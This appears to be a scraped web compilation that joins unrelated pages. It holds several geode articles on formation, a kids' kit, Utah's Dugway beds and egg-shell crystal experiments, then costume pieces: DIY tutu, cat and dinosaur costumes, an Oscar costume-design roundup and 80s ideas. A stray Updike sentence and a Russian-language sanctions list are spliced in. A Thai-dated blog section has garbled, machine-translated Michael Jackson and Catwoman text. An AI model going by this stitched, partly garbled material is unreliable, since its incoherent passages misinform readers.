Most geodes are created in the air gaps in volcanic rocks. Rainwater brings in chemicals that seep into the spaces, but they are safely encased and completely undisturbed. Over time, the chemicals create crystals and the geode is formed.

The biggest agate geodes can be metres tall and a hundred million years in the making! I already had my own shop-bought polished quartz geode, it’s not quite so big though and if I’m truly honest, I prefer the rough finish and surprise element when you crack them open yourself.

The included booklet is excellent and tells us that our first geode is quartz, and our second has some quartz and possibly agate. If it was entirely solid it would officially be called a nodule rather than a geode, but it’s formed in exactly the same way.

The National Geographic Break Open 2 Geodes Set is available to buy now priced £9.99rrp from all good toy shops instore and online, including Amazon(*aff). You can check out the entire National Geographic range on the Bandai Nat Geo web pages – there are lots of different sets to explore.

How to crack open a geode

My children are constantly collecting rocks, and we have also had fun cracking open geodes as a family! Rocks are amazingly unique, each with their own color, texture, size, and shape. It’s no wonder that rocks are natural, open-ended learning toys for children!

The best part of “rock education” is that rocks are everywhere! Our children don’t need the iPad or television to learn about rocks.

Through real life experiences, our children get to feel the weight of each stone, measure the size with their hands and arms, and learn to balance and climb on bumpy terrain.

At our local beach, my children have been fascinated by the smallest rocks to the tallest boulders in the ocean.

When they wonder how giant rock arches eventually erode and become small rocks, ocean waves roll into the shore and demonstrate their ebbs and flows which eventually wear down all structures.

How to crack open a geode

This post may have some affiliate links. If you click an affiliate link and make a purchase, I earn a small commission which supports our educational tips at no additional cost to you. Please see the disclosure policy for details.

I’m going to share some of the ways my children have learned about rocks through nature outings and geode kits. The end of the post concludes with our favorite books about rocks, and I’d love to learn about your favorites, too!

Exploring the inside of geodes with children

While the outside of rocks are plenty fascinating for young children, geodes takes the awe to another level! Last year, both of my children had a blast comparing the inside of different geodes compared to that of regular rocks.

What you need for the geode activity

National Geographic Break Open Geodes Kit – set comes with small magnifying glass, safety goggles, and 10 geodes
Hammer
Chisel

We ended up preferring this larger magnifying glass compared the tiny one that comes with the kit.

Please remember that adult supervision and safety goggles are required! The rocks are hard to break, and when cracked, pieces may fly astray (eg, into eyes)!

How to crack open a geode

Tips for using the geode kit:

Please follow the directions that come with the geode kit! The geode kit comes with instructions!
Find old socks that you don’t care for. The instructions say to place the rocks in a sock to keep the pieces contained. The first geode that we cracked caused pieces to fly far! Thankfully, nobody was in the line of fire. However, we placed subsequent geodes in a sock and it was much better. Just know that the sock will likely be ruined due to impact from hammering. So pick a pair that you won’t miss!

Here’s a closer look at the inside of the geodes! My children have enjoyed examining the geodes along with smooth pebbles.

Authentic hands-on experiences, like cracking open geodes, encourage discussion about different colors, textures, and other observed characteristics.

Exploring rocks in nature

Of course, the ultimate way to explore rocks is simply going outside!

Although it might seem silly to list this as an activity, basics like unstructured play outside can be easily overshadowed when we are constantly bombarded with technology and electronic toy advertisements.

We need to make time for nature and giving the child space for uninterrupted observation, which can be a challenge with our modern, busy schedules.

How to crack open a geode

This rocky beach is one of our favorite spots in our small California town.

Not only is it a peaceful place to reflect and enjoy the scenery, the bumpy terrain makes it an exciting playground for our family!

These natural experiences are important for building memories with my children while practicing speaking our minority language, Chinese, to each other!

Rocks and minerals: Science books for children

Here are our favorite educational and beautifully photographed books about rocks!

Both of my children enjoy looking at the gorgeously detailed images, especially after exploring the giant rock arches at the beach!

How to crack open a geode

While reading these books, I gave my son a Chinese rock labeled “石” from our 石 radical activity. This helped my son learn the important 石 Chinese character.

How to crack open a geode

What about your family?

Do your children like to collect rocks and explore nature? What are your family’s favorite books about rocks in Chinese and English? We would love to learn more from you in the comment section below.

by Daniell LaFleur
Updated October 15, 2021

Looking for a tangible trophy to take home from your adventures in the Utah desert? Try hunting for geodes!

Utah is renowned for its striking and unique geological history, so it shouldn’t come as a surprise that the desert landscape is home to some of the most beautiful geodes in the American Southwest.

Geode hunting can be a fun rest-day activity between climbing desert towers and racing down mountain bike trails. It requires only a few tools, a little know-how, and some good old fashioned patience.

First, What Is A Geode?

Geodes are rounded rocks that form inside air pockets of sedimentary rock or volcanic flows. Thanks to a porous outer shell that allows water to flow through it, the minerals in the water form crystals in the air pocket. It takes millions of years for these crystals to form, which is part of the reason why finding one is so thrilling!

When you crack open a geode, you will see crystals lining the porous outer shell. Geodes will usually be hollow because of this, though some geodes will have bits of rock or crystal in them that you can hear move around when you shake them.

You can even find ancient water in geodes! That may not sound terribly exciting, but it’s neat to know that you’re looking at water that’s possibly millions of years old.

There are other types of geodes you may find while hunting in the desert, including nodules — geodes that have become completely filled over time and aren’t hollow. On the outside nodules look the same as a geode, but it’ll feel heavier due to the inner cavity being filled.

What’s Inside?

Geodes vary widely in their secret contents. Often filled with clear quartz or vibrant purple amethyst, you can also find jasper, chalcedony, calcite, dolomite, and celestite.

The hollow cavity of a geode is often lined with agate as well. The agate of a geode is colored by the different minerals that make their way into the geode. Different minerals create unique colors that we see in geodes.

Generally speaking, most geode hunters in America find quartz crystal geodes. Quartz itself can vary widely in color, ranging from clear to cloudy, pink, purple, and white.

Chalcedony is commonly found in California with a blue tint. Bright purple amythest is mostly found in South America.

What Do You Need To Hunt For Geodes?

How to crack open a geode

When you’re hunting for geodes, you’ll need a handful of tools to help you dig through the soil, break up loose rock, collect geodes, and open the geodes to discover your treasure.

A small shovel or pickaxe is the best tool for breaking up the ground when looking for geodes. A pickaxe may also be used to break open geodes on the spot, while a shovel can easily dig and move layers of sediment around to reveal geodes.

A rock hammer is the best type of tool to use on geodes for cracking open geodes. Just be sure to wear protective eyewear when wielding a hammer, as you’re bound to send splinters of rock flying into the air when you’re hammering away.

Rock chisels can also be used to open your geodes. A chisel will help create a cleaner break compared to a hammer.

Sawing open geodes is another option, though many people prefer to break open geodes with a hammer or chisel to create a more natural-looking break.

For those who prefer to avoid buying any tools, you can even use another rock to break open a smaller geode. If you go this route, I suggest wrapping the geode in a bandana or putting it into a sock to avoid making a mess.

Identifying Geodes

The outer layer of a geode is unassuming compared to its beautiful inner contents. Avoid smooth rocks, instead searching for rocks with a bumpy texture that resemble cauliflower.

Geodes are also fairly round as they’re formed by air bubbles in the rock, so look for spherical rocks as you’re hunting for geodes.

The hollow cavity is also a strong identifier. If you pick up a rock you might think is a geode, compare it to a rock of similar size that isn’t a geode. The geode will be lighter because of the hollow cavity inside.

Another trick is to shake the rock you’re investigating. Sometimes you can hear loose crystals or sand shake around in the cavity, indicating you’re holding a geode.

Geodes come in all different sizes, with the Utah desert producing everything from golfball-sized geodes to massive basketball-sized geodes.

Why Are There Geodes In Utah?

Seven million years ago, western Utah was home to a lot of volcanic activity that created rhyolite — an igneous rock created by volcanic flows. While cooling, gasses became trapped in the rock, creating the air pockets that are perfect for forming geodes.

Groundwater circulated through the rhyolite over millions of years, leading to crystallization inside the geodes. As more time goes on, the rock containing these geodes continues to erode, making the geodes easy to uncover as you’re traipsing through the desert.

The Best Geode Hunting Spot In Utah

Dugway Geode Beds is the most popular area to hunt for geodes in Utah, and it’s a strong contender for the best geode hunting spot in the entire United States. This famous area is a 2.5-hour drive from Salt Lake City, making it easily accessible to locals and visitors.

That said, while it’s easy to get to the Dugway Geode Beds it’s a remote location deep in western Utah. There are no convenience stores, gas stations, or water sources of any kind nearby. It’s imperative that you come prepared with plenty of water and food for your trip, and you’ll need to pack out your waste and trash in order to leave no trace.

Where did all of the geodes around the Dugway Geode Beds come from? The answer is a massive lake that filled the area thousands of years ago. The water and waves of Lake Bonneville eroded the rhyolite rock, uncovering thousands of geodes that now line the surface of the dried-up lake.

Thanks to this erosion, the Dugway Geode Beds is one of the easiest locations to find geodes. The hillsides simply crumble away with little effort to reveal geodes of all sizes.

Unlike other geode hunting locations that take hours of hiking, most visitors find their first geode at Dugway rather quickly. The recently excavated pits and previously exposed hillsides are simply perfect for geode hunting.

Dugway is on Bureau of Land Management (BLM) land, so there are no entry fees and free camping is permitted. There are a few mining claims still active in the area, though, so it’s important to contact the BLM Field Office beforehand to be aware of locations to avoid. It’s possible to obtain permission to hunt for geodes on these claims, and that information can also be reached from the BLM Field Office.

For more information about geode hunting in Utah, visit the Utah Geological Survey website or contact the state’s gem and mineral societies.

How to crack open a geode

Geodes are stones with a secret–at first glance, they seem like nothing more than the grey rocks you might see on walk around your neighborhood. Then–crack!–once they’re broken open, they reveal their inner beauty: a tiny cave filled with some of the world’s most spectacular, colorful crystals.

Born out of lava

Geodes are formed when there are pockets of air within rocks. This often happens after volcanic eruptions when lava cools around air bubbles. These pockets leave space for groundwater to seep in. But the water itself doesn’t produce geodes–it brings along minerals which stay in the rock even after the water evaporates. The minerals then start to build on each other to form crystals. It can take thousands or even millions of years for these crystals to form. The larger the crystals are, the older the geode is.

So what gives them their color?

How to crack open a geode

The same minerals that form crystals can give them their glorious colors. Additional elements can also make their way into the mix and provide their own unique shades. Iron will give crystals a red or purple color, titanium will create blue, nickel or chromium leads to green, and manganese produces pink crystals.

While geodes can be naturally colorful some are artificially dyed. These dyed stones often have a brighter, more intense color than what appears naturally. Why do people dye geodes? Colorful geodes tend to sell well and can be a cheap way to imitate rare stones.

Come to the museum and check out the geodes of various colors on display in Hillman Hall of Minerals and Gems.

Explore nature together. Visit Nature 360 for more activities and information.

By Jim Brace-Thompson

With geodes, it’s the surprise inside that counts! Most geodes are dull, lumpy and drab on the outside. But inside can be sparkling quartz or calcite crystals, purple amethyst, baby blue celestite, botryoidal chalcedony in varied colors and hues, and more. Sometimes, as an added bonus, the rim is composed of banded agate. Two basic techniques enable you to reveal these surprises inside: cracking or sawing.

Growing up in Illinois, I found geodes on the border with Iowa in the Keokuk region. Once home, I whacked away with an ordinary hammer. Unfortunately, this produced mixed results, including piles of a gazillion shattered pieces. No one ever said I was the brightest kid on the block. Still, some people prefer the natural rough edge of a cracked geode.

Cracking Tools

Fortunately, certain tools allow for cracking in a controlled manner that can reliably result in two nice halves; specifically, a pipe-cutting chain tool. A chain similar to a bicycle chain is wrapped around the geode and tightened by a ratchet. The result is a cracked or “popped” geode.

Other people prefer a more “finished” look. Thus, many geodes you see for sale at rock shows have been sawn on a standard lapidary slab saw or trim saw. The rims often are then polished on a flat lap. Whether you saw and polish your geode in this way or “pop” it, this is one lapidary project that is relatively easy to do and that gives you a sparkling reward to add to your collection.

Author: Jim Brace-Thompson

How to crack open a geode Founder and overseer of the AFMS Badge Program for kids.

He’s also an inductee of the National Rockhound & Lapidary Hall of Fame within the Education Category.

How to crack open a geode

Is your little scientist up for an exciting challenge? Let them make their own geodes! Geodes are rocks with a crystal center that you and your child can make right at home by using simple kitchen materials.

What You Need:

Eggs
Glass measuring cup
Epsom salts
Spoon
Egg carton

What You Do:

Crack open the egg and remove the egg from shell. You’ll need to also take out the inner membrane so that mold doesn’t develop.
Run very hot water into the shell. Let it sit. Now, roll the membrane out with your fingertips.
Place egg shell in egg carton and allow to dry.
Put ¼ cup water in measuring cup and microwave it until the water is very hot, but not boiling.
Add ¼ cup of epsom salts and stir. If all of the salt dissolves, add more and stir. Stop when no more salt dissolves – at this point your solution is super-saturated.
Carefully pour hot water into egg shell. Do not pour undissolved salts into shell.
Refrigerate. As water cools and evaporates, the salts will settle and crystals will form. Allow water to sit at least over night. Being careful not to dump out the crystals, pour excess water out of egg shell.
Take out your new geode and put it on display!

If your child wants to create several geodes at once, let the crystals form for different lengths of time – emptying one shell at 12 hours, the next at one day, etc. Your child might even want to use different crystal solutions (borax, sugar, salt or baking soda) for a fun and scientific comparison.

How to crack open a geode

Cracking open a tricky as heck geode rock – fascinating

#AmazingIdeas, #Satisfying, #ThingsILove, #Inspirational

A John Updike is a once-in-a-generation phenomenon, if that generation is lucky: so comfortable in so many genres, the same lively, generous intelligence suffusing all he did.

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How to crack open a geode

Crystals are formed by the presence of elements in the form of solids, liquids, and gases. These elements are subject to heat which eventually leads to cooling. This cooling creates crystals as ordered chemical bonds which can be formed over longer periods of time.

The slower the cooling process the larger the crystals are. It is also important in many instances that there is room for crystals to form. Vugs, or pockets of air, will have these elements trapped within them to allow for crystals to grow.

Crystals in the earth can take time to form through heat and cooling. Not all crystals will need longer amounts of time to form like some of the harder minerals you find within the earth.

The formation of crystals can take as little as a few minutes, to hours, and even as long as many years in time. The time it takes for crystals to form rely on the elements and environmental conditions involved. Some notable crystals such as topaz and amethyst can take thousands of years to form within the earth.

There are three common ways crystals are formed:

Crystals formed by liquid cooling process – Magma or other liquids, rich with elements, will end up cooling over a very long period of time. Sometimes the cooling can be quick. In those quick cases the crystals will be smaller or not viewable by the eye.
Crystals formed by precipitating process – Pockets of air may contain gases along with surrounding elements in the rock. Heat and pressure will cause precipitation in these pockets. As cooling happens crystals will form within those open pockets.
Crystals formed by evaporation process – Evaporation does not require great amounts of heat. Some crystals, like gypsum, are formed through the evaporation process. New chemical bonds form crystals as the liquid evaporates.

Crystal Growth

Crystals will grow naturally within rocks when there is heating, cooling, and other environment conditions. Crystal growth can occur in sedimentary, igneous, and metamorphic rocks. Larger growth of crystals will usually require longer, or slower, periods of cooling time including space for growth.

Crystals grow due to chemical bonds which need to be in a very periodic and ordered manner. This growth pattern is referred to as a crystal lattice which is capable of extending in all directions. Growth of any crystals requires some amount of time for the chemical bonds to happen.

Crystal growth is important as it goes deep into the study of chemical bonds and earth’s minerals. Since crystal growth can be artificially contained, scientists can study the chemical compositions and bonds created through the bonding of crystals.

When it comes to crystal growth, it is not always perfect. Chemical bonds in the growth of crystals can be hindered due to impurities or obstructions as the crystal forms. This can often yield imperfect crystal formations.

Contents of Crystals

Crystals are made of ordered elements that have been bonded through a period of time. Often crystals are made out of multiple different bonded elements. Some elements that make up the crystals contents will play a major role in its color.

A crystal is also considered a mineral. The two terms are often used interchangeably as they both have structured elemental bonds. Where it falls short by definition, is a crystal cannot be a mineral if it is artificially made.

Crystals are formed from rocks

Crystals are not rocks but are essentially a mineral formed from rocks. Rocks are the matter that contain elements to create crystals. Crystals cannot be a rock as they are an ordered chemical bond that makes up a mineral, not a rock.

Finding Earths formed Crystals

Crystals are found in sedimentary, igneous, and metamorphic rocks. Some crystals cannot be found by visual means as the crystals are too small for the eye. Larger crystals are more easily found and will often have a visible edge and can have a light reflective surface.

Some of the best crystals that can be found are contained within pockets of air, like geodes, where there is some room for the crystals to grow. A lot of these types of crystals have edges where there is a point at the top of the crystal and its bottom is anchored to the rock.

Uses of Earths Formed Crystals

Crystals are used primarily for jewelry or decoration. Crystals are often displayed around the home and in other locations as well as used in rings, necklaces, earrings, and other adorned jewelry.

Some will use crystals or other minerals as some sort of way to spiritually heal or give other unseen ability’s to the holder. These are typically said to be healing abilities.

When people talk about crystal meanings, or the meaning behind a crystal, they are referring to spiritual or health benefits from the crystal. These benefits can range from physical healing to mental wellness to even receiving good luck.

Though I do not go down these lines of thought in regards to crystals, and I won’t promote them in this way, there are many that do. I say if you feel better holding or looking at a crystal then all the power to you. Hey, I love rocks and minerals too!

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How to crack open a geode

Everyone will enjoy cracking open geodes with this exciting earth science kit. With 15 geodes of supreme quality, the whole family can take part in discovering the amazing crystal treasures inside.

Geodes are incredible hollow rocks that are formed by volcanic eruptions. The included learning guide will teach you all about these unbelievable natural wonders and the crystals you’ll discover when you break them open.

EXPLORE CRYSTAL CAVES – Geodes are naturally forming volcanic rocks that contain amazing crystal formations inside. Crack them open and discover beautiful minerals!
PREMIUM QUALITY – National Geographic selects only the best geodes collected from multiple mines around the world, so you’re guaranteed to find fascinating crystals
INSPIRING A GENERATION – Kids love these treasure filled rocks! Encourage an appreciation of nature and geology in your child with this extraordinary science kit
TEACHING SCIENCE – Learn all about geodes and minerals with the full-color educational learning guide included
RESPECTED QUALITY – National Geographic is proud to provide only the highest quality toys and all our kits are backed by our 100% satisfaction guarantee

Shipping Note: Shipping to Alaska, Hawaii, PO Boxes and APO addresses not available for this item

Home » Egg Geodes Experiment

Geodes are beautiful rocks that on the outside appear quite plain. Shaped like spheres or eggs, they are found in natural hollow areas of soil or in the bubbles of volcanic rock. Over time, the air trapped within these stones forms a cavity. As minerals and ground water fill up these spaces, they begin to crystalize, so when you crack open a geode you see the beautiful deposits therein.

STEM learners can mimic this crystallization process with eggs and form their own set of colorful “rocks”! Parental supervision is recommended, especially for the hot water part of this experiment.

What You’ll Need:

6 Eggshells (crack the eggs in half, then gently rinse out any extra egg residue)
Epsom salts
1/4th cup of hot water
Food coloring
Empty egg carton

What to Do:

Dry the rinsed eggshells and place them in the egg carton
Warm 1/4th cup of water until it is hot – but not boiling. Then add 1/4th cup of Epsom salts into it and mix until dissolved.
Add more Epsom salts until they stop dissolving, then gently pour a bit of the mixture into each of the eggshells. Make sure some of the undissolved salts get into each one.
Choose your favorite food coloring and add it at this stage or leave it clear.
Place the eggshell carton into the refrigerator and wait for it to cool for about 3-4 hours. Drain any excess liquid. (For more intense crystallization, leave the egg geodes in the fridge for longer).

What is Happening:

The process of geodes forming their mineral deposits happens through a process called sedimentation. This is where the particles – or the solute – are suspended in a solvent or fluid. Over time, the solutes concentrate and fuse. In this experiment, the Epsom salts are our solute. Salt water is an oversaturated solution that allows crystals to form as the water evaporates.

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How to create a classic kane costume

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Blog this chest will speak about the costume change and knowledge about the costume design.

วันอาทิตย์ที่ 19 กรกฎาคม พ.ศ. 2552

Michael Jackson Costumes

You do not need to head to book an appointment with your plastic surgeon to look like Michael Jackson! Simply choose a costume and accessories to transform itself into a glove. Put on a very detailed wacko Jacko latex mask with synthetic hair and Jackson’s surgically altered features. Or for a more modest celebration of the King of Pop, which is placed on a suit jacket, Michael Jackson is a military / brass band style, or his classic red (fake) leather look of the “Stick” video. Do not forget the bottom of white nylon to be displayed in black dress trousers with appropriate shoes for the famous Moonwalk to Michael. Put on a silver SEQUIN gloves and either a jheri curl wig or hairpiece King of Pop . Stay away from open flames.

วันศุกร์ที่ 17 กรกฎาคม พ.ศ. 2552

Catwoman Costume

Catwoman is a fictional character associated with DC Comics Batman franchise. The supervillainess created by Bill Finger and Bob Kane, partially inspired by Kane’s second cousin by marriage, Ruth Steel [1].

The original and best known Catwoman, Selina Kyle, first appears in Batman # 1 (spring 1940) where it is known as Cat. As an opponent of the Batman she whip transport burglar with a taste for playing top flight. [2] Modern writers have attributed to the activities and costume identity as a response to a history of abuse.

Since the 1990s, Catwoman has occurred in a series of names, which antiheroine rather than a supervillainess. The character was one of Batman’s most enduring love interests, and has sometimes been described as his only true love.

A popular figure, Catwoman has been featured in most media adaptations related to Batman. Actresses Julie Newmar, Lee Meriwether, and Eartha Kitt introduced to a wide audience on the Batman TV series of the 1960s and the 1966 film Batman. Michelle Pfeiffer in 1992 represented character Batman Returns. Halle Berry played Catwoman in a movie in 2004, but loosely based on the character of Batman.

Dazzling duds dominate the Oscar race for costume design this year.

Ann Roth landed her fifth nomination and potential second win for “Ma Rainey’s Black
Bottom”; the costume designing legend only had a few scarce pictures of the real-life Rainey to use as research but she managed to bring the Godmother of Blues to life.
As Rainey, Viola Davis rocked a show-stopping blue velvet dress over a rubber suit, which gave Davis a big- ger frame similar to the real Rainey. Chadwick Boseman’s dapper Levee also had to make a big impression, especially his shoes, as those items stand in for more than just nice footwear.

“Mank’s” Trish Summerville is a debutante at Oscar’s ball this year. Despite having worked in black and white before on projects — she dressed Justin Timberlake and Jay Z for the “Suit & Tie” music video — the David Fincher-helmed film marks Summerville’s full feature in monochrome.

She had to create glamourous gowns and suits galore, finding colors that would translate to the specifics of black and white filmmaking.

Summerville dressed a large cast of characters, in a wide range of socio-economic classes, over a decade. Her costumes offer visual shorthand, defining each person before they speak, including dressy costumes at Hearst’s party, homeless people and “Mank’s” support group when he’s writing “Citizen Kane.”
In re-creating the glamour and troubles of Hollywood in that era, her costumes are notable without being showoffy. The only costume designer to win for a B&W film in the past 50 years was Mark Bridges, for “The Artist” (2011), but don’t be surprised if Summerville joins that club.

Another newcomer to the Oscar race is Bina Daigeler, who dressed Disney’s “Mulan.” Numerous versions of warrior armor were created for the action sequences, which were further enhanced in visual effects. Daigeler’s costumes allow all the actors maximum mobility — a necessity when you have a film as action-packed with martial arts. The film also runs a wide gamut.

On one side, there is the toughness of the leather and scales of the villains’ armor, in stark contrast to the heroine’s side. And then there are the intricate, beautiful gowns seen in the early matchmaking scene, wildly feminine in contrast to the rest of the film and made of yards of colorful fabric.

Six-time Oscar nominee Alexandra Byrne earned her latest nod for her work on “Emma.” Blues yellows, maroons and pinks were the core of Byrne’s color palette for this incarnation of the Jane Austen classic, with the title character, played by Anya Taylor-Joy, given different shades for each season.

Massimo Cantini Parrini’s world of costumes in “Pinocchio” was a blend of traditional, modern and poetic for this version of the fairy tale. Parrini took inspiration from the 18th and 19th centuries with much of the film’s looks echoing his research of those periods. For Pinocchio’s red suit, Parrini used a crepe fabric to reflect the “paper” costume he wears in the book.

Clayton Davis, Tim Gray and Jenelle Riley contributed to this report.

Winner prediction: “Ma Rainey’s Black Bottom”
Look out for: “Emma” or “Mank”

This pretty DIY skirt looks adorable as a flower girl dress, a Halloween costume, for ballerinas-in-training or just for the fun of it. Almost no sewing is involved to create this classic tulle tutu, making it a great project for beginner-level crafters.

How to create a classic kane costume

Girl’s Birthday Party Theme

Related To:

Materials Needed

basic sewing essentials
sewing machine (optional)
(3-8) rolls of 6″ tulle (3-4 rolls will yield a short tutu while 7-8 rolls will yield an ankle-length tutu)

1/2″ elastic (length will depend on size)
satin ribbon for trim (optional)

Make the Elastic Waistband

Cut the elastic to your child’s measurement. Fold the elastic so that the ends meet and overlap. Pin in place. Use a needle and thread or a sewing machine to secure the elastic loop. To determine the length of the elastic, measure your child’s waist. Subtract 4 inches then cut to that size. (For example, my child’s waist is 21 inches, minus 4 equals a 17-inch piece of elastic.) The elastic will stretch as you are putting the fabric scraps around it.

Pro Tip: For the best fit, always measure the child. But just in case you do not have that option, here is a list of the average waist size for a child’s age:

October 27, 2019 by Janice

I love making Halloween costumes for our girls, and this DIY cat costume for kids is one of my all-time favorites. Take a look at the photos and watch our tutorial video below to see how you can make cat costumes for your kids.

How to create a classic kane costume

Each year, I design and sew Halloween costumes for our three girls. I’ve actually just finished their latest costumes and we just had our photoshoot. I’ll be editing the photos and publishing the post soon… so stay tuned. But in the meantime, I wanted to share these sweet cat costumes we made when the girls were younger.

Cat costumes are always a top pick for girls of all ages.

If you want a simple – but super cute – kids costume for Halloween, you’re in the right place. With items you probably already have in your home, you can make this easy kids DIY cat costume in less than an hour.

If you have older girls, check out the easy cat costume for teens I made for Julia a couple of years later. You can also see how we did her cat costume makeup.

Our girls have always been obsessed with cats. Susan’s daughters, Julia and Sophia, finally got a kitten — after years of hoping, dreaming, and pleading. I have to admit, if I weren’t allergic to cats, I would want a cat just like theirs. And so would my Olivia!

How to create a classic kane costume

But since I am allergic and I don’t want to spend my life sneezing and wiping away tears, the closest I am going to come to having kittens running around my house is dressing our girls up as cats and letting them tear the place apart.

This wasn’t the first year our girls wanted to be cats for Halloween. They were all black cats when they were really little as well.

I love how cute they are in cat costumes, so I didn’t mind at all that they wanted to be cats again. And when Susan and I came up with these oh-so-adorable black cat costumes, I was so excited, I decided to make a sewing/craft tutorial video post for you. You can see the video above or watch it on YouTube.

The girls love their cat costumes, so we took some early Halloween photos.

Look at how sweet these kittens are…

How to create a classic kane costume

I must admit, making a costume is one thing — shooting a video tutorial on how to make a costume is another.

It took me much longer to shoot and edit this video than I ever imagined. I think I could have made costumes for Olivia’s entire class in the time I spent on this video.

I made each of these cat costumes for kids from a black jacket, black jeggings, and a SCARF we bought at Walmart! The scarf is super soft and stretchy and perfect for the tummy and trims of the costume.

Along with some pink felt, a headband, a glue gun, and a plastic duo-tang, (you will have to watch the video to find out about the duo-tang!) you can create a super sweet kitten of your own.

And you don’t have to worry about sneezing.

How to create a classic kane costume

More DIY Halloween Costumes

If you’d like a more “grown-up” version of a cat costume for teenage girls check out this easy cat costume we made for Julia a few years later when she was 13 years old.

How to create a classic kane costume

Here are some more costume ideas with these three adorable DIY Halloween costumes we made for girls another year, including a pretty unicorn, a fancy fox, and a sweet bunny.

How to create a classic kane costume

If you want an easy way to make ears for a Halloween costume, check out how to make no-sew animal ears in our animal ears headband video tutorial.

Posted on Last updated: February 4, 2021 Categories Halloween, Latest

Originally posted on 16/10/2014

When I asked my 3-year-old boy what he wanted to be for Halloween this year, he turned to me and said “a blue dinosaur!” Of course, this wasn’t surprising as he’s been roaring around like the crazy wild animal he loves so much.

Here’s an easy dinosaur costume you can make using 3 cardboard boxes and some paint. I promise it IS totally achievable to make. And just think how adorable your kid will be in it once you have completed it. The costume can also be used for other dress-up occasions or dinosaur-themed parties.

If this is for Halloween or another dress-up occasion be sure to also check out how to make a DIY Llama Balloon Costume and a DIY Unicorn Balloon Costume for some other inspiring ideas.

How to create a classic kane costume

Cardboard Dinosaur Costume Template

So if you are wondering how to make a cardboard dinosaur, don’t worry it’s not as hard as it sounds. Below is an easy guide on how to make a dinosaur costume. Stock up on the materials you need and then follow the easy steps to create your dinosaur masterpiece.

Diy Dinosaur Costume Cardboard Materials

The materials needed to make your own cardboard box dinosaur costume are rather straightforward. Check out the list below and make sure you have all of the items before you start.

1. You will need 3 cardboard boxes, two small ones (12″ x 9″ x 4″ each) for the head and one rectangular box (24″ x 12″ x 12″) for the body. You will also need scrap cardboard for the scales

2. Spray paint in the color of your choice for the scales and body. We chose blue for the body and orange for the scales

3. White foam craft board for the teeth (or use white cardstock, paint cardboard pieces white, whatever is easiest for you)

4. Scissors, knife to cut through cardboard, and a hot glue gun or strong craft glue

Steps on How to Make a Dinosaur out of Cardboard Boxes

Follow these easy 7 steps to create your own cardboard dinosaur costume. You’ll be amazed at how easy it actually is and your kid will definitely feel like the best dressed at Halloween . Plus, the cute photos of your kid in the costume are totally worth it.

How to create a classic kane costume

1. Lay down your 3 pieces of cardboard flat and spray paint each side, allowing each to dry. Make sure that you are in a well-ventilated area

2. Cut out scales for the head and body from scrap cardboard. I just freehand a small and medium scale and one extra-large scale for the tail. Once you have cut out one scale, you can use it as a template to trace the other ones. We ended up with 5 scales on the head and 3 on the body

3. Spray paint on both sides of the scales, allow to dry

4. Cut out your teeth on the white foam board. I liked using a foam board so I didn’t have to go through the additional step of painting the teeth. Like the scales, I drew out two sizes of teeth and used them as a template to trace the other teeth

How to create a classic kane costume

5. Once you have all the parts cut-out and painted, the assembly begins. For the body, cut out a neck hole and two armholes. The length of our cardboard was a bit too long for my son so I also cut off about 8″ off the bottom, but that will depend on how tall your child is.

How to create a classic kane costume

6. For the head, glue one flap down so it hinges with the other box. For the teeth, it helps to keep the box flaps down, glue the teeth on, and cut around the teeth so they are more stable

7. Don’t forget to cut out some eyes! I just cut out two circular pieces of the white craft board and used a black marker

You’re done! Now take your dinosaur out for some fun.

How to create a classic kane costume

Final Thoughts on the Dinosaur Cardboard Costume

I like how the head is not attached so if it gets too heavy, it can be taken off for a bit. In case you’re wondering, you can totally see through the mouth as you’re walking. This was a huge hit with my son and he loves his dinosaur cardboard box costume! It would be awesome fun for pretend play or a dinosaur themed party too.

What are you dressing up the kids as for Halloween this year? For more Halloween ideas for kids, take a look here !

определенные географические регионы, такие как Иран, Крым, Куба, Северная Корея, Сирия, Россия, Беларусь, Донецкая Народная Республика («ДНР»), Луганская Народная Республика («ЛНР»), а также любые физические или юридические лица, ведущие деятельность или находящиеся на этих территориях;
физические или юридические лица, состоящие в санкционных списках, таких как Список лиц особых категорий и запрещенных лиц (SDN) или Список иностранных лиц, уклоняющихся от санкций (FSE) организации OFAC;
граждане Кубы независимо от их местоположения, не имеющие гражданства или вида на жительство за пределами Кубы; и
изделия, из Ирана, Крыма, Кубы и Северной Кореи, за исключением информационных материалов, таких как публикации, фильмы, постеры, грампластинки, фотографии, кассеты, компакт-диски и определенные произведения искусства.
Любые товары, услуги и технологические решения из ЛНР и ДНР за исключением информационных материалов и сельскохозяйственной продукции, в том числе продуктов питания для людей, семян сельскохозяйственных культур или удобрений.
Импорт в США следующей продукции российского происхождения: рыба, морепродукты, алмазы непромышленного назначения и любая другая продукция, согласно периодическим указаниям министра торговли США.
Экспорт из США либо гражданами США предметов роскоши и любых других товаров, согласно указаниям министра торговли США, любому лицу, находящемуся в России или Беларуси. Список и определение «предметов роскоши» приведены в «Дополнение № 5 к Разделу 746», опубликованном Федеральным реестром США.
Изделия, изготовленные за пределами США и попадающие под действие Закона о тарифах США и связанных с ним законов о запрещении принудительного труда.

Throw it back to the hair-raising decade.

How to create a classic kane costume

The 1980s are rich with Halloween costume ideas. Whether you lived through the decade yourself or consider the time period to be “vintage,” you’re sure to find inspiration from pop culture moments of the 80s. And, because fashion trends always come back around, you might be able to find the makings of a costume in your own closet.

For music lovers, ’80s pop stars like Madonna and Prince ruled. May we suggest a royal purple outfit to channel Prince or copying one of Madonna’s infamous looks with a black bustier, black fingerless gloves, and piles of necklaces? Ghostbusters, Beetlejuice, and countless blockbuster movies introduced us to characters that inspire Ferris Bueller’s Day Off costumes and other favorites, like Marty McFly of Back to the Future fame. Hilarious ’80s sitcoms spark ideas for best TV show Halloween costumes and Full House costumes for kids, for women, and for guys alike. And it wouldn’t be a complete list without cultural icons like painter Bob Ross (have a friend dress up as a “happy little tree”)!

Whether ’50s Halloween costumes, ’70s Halloween costumes, ’80s costumes, or even 90s Halloween costumes are your jam, picking a decade to celebrate is an easy and super fun way to celebrate Halloween this year.

How to create a classic kane costume

With a brand-new movie due out later this year, there’s sure to be a renewed interest in the 1984 original. This fun movie costume idea is easy to DIY, even at the last minute.

See more at @arejay5.

How to create a classic kane costume

The Empire Strikes Back and Return of the Jedi premiered in the 80s and defined the decade. Thanks to subsequent movies and TV shows, love for the franchise has not faded. Like the original films, this family costume is an instant classic.

Get the tutorial at Say Yes.

How to create a classic kane costume

The original movie was an instant Disney classic when it premiered in 1989, and kids today still love it. With so many favorite characters to re-create, the movie is perfect fodder for a large family with several kiddos (and even the dog!).

Get the tutorial at The Overwhelmed Mommy.

